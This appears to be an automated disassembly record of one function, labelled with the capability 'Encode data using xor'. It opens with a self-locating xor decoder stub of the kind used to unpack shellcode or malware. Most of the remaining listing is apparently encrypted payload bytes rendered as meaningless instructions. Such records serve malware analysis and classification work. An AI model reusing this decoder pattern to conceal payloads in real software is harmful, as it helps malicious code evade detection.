Function at 0xd375a4
Capabilities:
Encode data using xor

Disassembly:
in al, 0xfb
pop ss
xchg edi, eax
call 0xbf58599a
xor eax, 0x3425859d
jmp 0xd375ae
pushal
call 0xd375b4
pop ebp
sub ebp, 0x10
sub ebp, 0x9375a4
jmp 0xd375ca
mov eax, 0x9375a4
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c5
add byte [eax], al
add byte [ecx + 0x5c5], bh
mov edx, 0xd8c9cf70
xor byte [eax], dl
inc eax
dec ecx
jne 0xd375e1
jmp 0xd375f4
sti
mov ebp, 0x704cf9fb
jo 0xd3766c
int1
mov cl, 0x88
jo 0xd37671
jo 0xd37676
mov ebp, 0x707076c8
jo 0xd375d4
pop eax
jo 0xd3767d
jo 0xd37596
xchg edx, eax
jae 0xd375ca
sti
int1
jl 0xd37686
jo 0xd37688
jae 0xd375cf
std
adc al, 0x54
invalid
sbb byte [edx + ebx + 0x5c717003], bh
push esp
sbb byte [eax], dl
sub ch, ah
inc esp
cwde
jne 0xd376ad
jo 0xd376af
cdq
pop esi
jo 0xd376b3
jo 0xd376b4
jo 0xd37642
std
adc al, 0x54
invalid
invalid
sub eax, 0xfb707cb2
jo 0xd3766e
cld
push esp
je 0xd376e7
jo 0xd376e8
jo 0xd376e9
jo 0xd37692
sbb byte [eax + 0x1870507a], ch
test al, 0x7a
push eax
jo 0xd37697
mov esp, 0x7170031a
pop esp
push esp
std
adc al, 0x54
push esp
invalid
cdq
xor eax, 0x25707072
jo 0xd376bd
and eax, 0x58f9cfb
jl 0xd3762d
sti
pushfd
pop dword [0x78058f7c]
cwde
pop dword [0x70089878]
add eax, 0x70089878
or byte [eax + 0x70], dh
jo 0xd376a1
jo 0xd37715
sti
int 0x78
jo 0xd3771a
jo 0xd3769d
and dword [esi + 5], 0x81f1bbad
add ax, 0xbbad
int1
and dword [esi + 5], 0xb943bbad
lodsd eax, dword [esi]
mov ebx, 0x56681f1
add ax, 0xbbad
inc ebx
mov ecx, 0x98f3a243
add eax, 0xb943bbad
lodsd eax, dword [esi]
mov ebx, 0xa243b943
cwde
inc ebx
mov byte [0x387598f3], al
jne 0xd376f7
jg 0xd376b5
jo 0xd37734
jo 0xd37745
clc
cmp byte [eax + 0x70], dh
jo 0xd376e2
sti
insb byte es:[edi], dx
dec ecx
invalid
hlt
int1
mov ecx, dword [edi + 0x65f47f55]
push ebp
jg 0xd376dc
hlt
jo 0xd3775b
jo 0xd3775b
jo 0xd3775c
jo 0xd3771e
xor dword [ecx - 0x70707044], ebx
pop ecx
cdq
mov esp, 0x598f8f8f
cmp al, 0x49
jno 0xd376ea
mov cl, 0x75
cwde
je 0xd37696
int 0x8f
invalid
lcall 0xdb99, 0x7598f374
invalid
push esp
std
adc al, 0x54
je 0xd376cd
mov dl, 0x7c
jo 0xd37743
jl 0xd3778d
and eax, 0x27269cfb
sti
pushfd
daa
and eax, 0xfb7c05fb
or eax, 0xf0c28c78
cli
js 0xd376b6
ret 0xfaf0
jbe 0xd37720
mov dh, 0x71
jo 0xd377a3
jo 0xd3772d
clc
ja 0xd37728
mov bh, 0x71
jo 0xd377ab
jo 0xd377ac
jo 0xd37708
retf
jb 0xd377af
jo 0xd377b1
jb 0xd376e5
jg 0xd3773a
jne 0xd377b7
jo 0xd377b9
cli
bound sp, dword ss:[edx - 0x70570c81]
invalid
cmc
jne 0xd377ca
jo 0xd377cc
jo 0xd37757
cli
bound sp, dword ss:[edx + 0x701af37f]
jo 0xd377d7
inc ebx
mov al, 0x72
mov byte [0x7075f57f], al
jo 0xd377e1
cli
bound sp, dword ss:[edx + 0x715af37f]
mov byte [0x715af37f], al
jo 0xd377ec
jb 0xd37720
jg 0xd37775
jne 0xd377f2
jo 0xd377f4
cli
bound sp, dword ss:[edx - 0x5d8d4f9d]
jg 0xd37784
jne 0xd37801
jo 0xd37803
cli
bound sp, dword ss:[edx - 0x5d8d4f9d]
jg 0xd37793
jne 0xd37810
jo 0xd37812
cli
bound sp, dword ss:[edx - 0x5d8d4f9d]
jg 0xd377a2
cmc
jne 0xd3781f
jo 0xd37820
jo 0xd37821
jo 0xd377ac
cli
bound sp, dword ss:[edx - 0xb804f9d]
mov al, 0x7f
hlt
jbe 0xd3782c
jo 0xd3782e
jo 0xd377ba
sti
scasd eax, dword es:[edi]
pop ebx
test al, 0xfa
jae 0xd377bd
ja 0xd377fe
aaa
retf
jo 0xd3783c
cdq
add byte [edi + 0x71c88f8f], cl
jo 0xd37845
invalid
jo 0xd37849
mov byte [0x7075f57f], al
jo 0xd3784e
cli
bound sp, dword ss:[edx - 0x5d8d4f9d]
bound esp, qword [edx - 0x5d8d4f9d]
mov byte [0x7075f57f], al
jg 0xd377de
cmc
jne 0xd3785b
jo 0xd3785d
jo 0xd377e8
cli
bound sp, dword ss:[edx - 0x70510d81]
invalid
jg 0xd377e6
scasb al, byte es:[edi]
invalid
jo 0xd3787f
cmc
inc esp
jo 0xd37874
jo 0xd37875
jo 0xd377cf
leave
jno 0xd37878
jo 0xd3787a
jb 0xd377ae
jg 0xd37803
jne 0xd37880
jo 0xd37882
cli
bound sp, dword ss:[edx - 0x5d8d469d]
jg 0xd37812
cmc
jne 0xd3788f
jo 0xd37891
jo 0xd3781c
cli
bound sp, dword ss:[edx - 0x70510d81]
invalid
sti
xchg dword [ebx - 0x7b], ebx
adc esp, 0x2e
aam 0x2e
cdq
js 0xd377c6
invalid
invalid
js 0xd37838
jbe 0xd37876
sti
cwde
leave
jno 0xd378b5
jo 0xd378b7
jb 0xd377eb
jg 0xd37840
cmc
jne 0xd378bd
jo 0xd378bf
jo 0xd3784a
cli
bound sp, dword ss:[edx - 0x5d8d469d]
jg 0xd3784f
cmc
jne 0xd378cc
jo 0xd378cd
jo 0xd378ce
jo 0xd37859
cli
bound sp, dword ss:[edx - 0x70510d81]
invalid
jo 0xd378df
int1
test eax, 0x8f8f8f8f
invalid
int1
mov byte [eax + 0x75], dh
jne 0xd378ea
jo 0xd378eb
jo 0xd3786d
int1
test eax, 0x8f8f8f8f
int1
invalid
invalid
invalid
mov al, dh
jo 0xd378f6
jo 0xd378f7
jo 0xd37879
int1
mov eax, dword [0x70707070]
int1
mov al, dh
jo 0xd37902
invalid
jo 0xd37903
jo 0xd37885
int1
mov eax, dword [0x70707070]
sti
xchg dword [ebx - 0x80], ebx
adc esp, 0x2e
cdq
jmp 0xd37832
inc ebx
mov ecx, 0x7f7198b0
hlt
mov eax, dword [0x70707072]
jb 0xd37928
jo 0xd37929
jo 0xd3792a
jo 0xd378b6
sti
cwde
sti
sti
xchg dword [ebx - 0x80], ebx
adc esp, 0x2e
pop ebx
add byte [ebx + 0x71cb2ed4], 0x70
jo 0xd37939
retf
cdq
add ecx, dword [esi + 0x5b2d8f8f]
or eax, 0x2fb7fb78
invalid
invalid
sub eax, 0xfb780d5b
mov bh, 0x2f
sti
xchg ebp, eax
sub eax, 0x2f7078b2
sti
inc esp
push esp
std
adc al, 0x54
je 0xd3787e
je 0xd37957
jo 0xd37959
and edx, dword [edi + 0x38]
jp 0xd378b6
push edi
cmp byte [edx - 0x38], bh
aam 5
jecxz 0xd37962
jae 0xd378a9
int1
mov al, 0x1f
pop ds
jae 0xd37969
jo 0xd378c4
sal byte [edx + 0x70], cl
jo 0xd378ca
retf 0xb49
dec ecx
or ebp, dword [0x30604013]
sub eax, 0x30604013
adc eax, dword [eax + 0x60]
xor byte [ecx], bh
jg 0xd378ff
cmp dword [edi - 0xb], edi
xchg byte [edi + 0x74998f8f], cl
jo 0xd37982
jo 0xd37901
pop ebp
sbb dword [ebx], ecx
into
mov bh, 0xce
mov esi, 0xce753ec2
mov esi, 0xe97ef5c2
dec ecx
dec ecx
dec ecx
dec edx
mov bh, 0xc2
ret 0xc297
xchg edi, eax
ret 0x750f
dec ecx
ret 0x4d06
enter 0x49b0, 0x49
dec ecx
dec ecx
dec ecx
dec ecx
inc esi
int 0x9d
mov dh, 0xb6
mov dh, 0x2f
ret 0x884e
retf 0x46a9
mov ecx, dword [eax + 0x51]
add byte [eax], al
retf 0x4b8e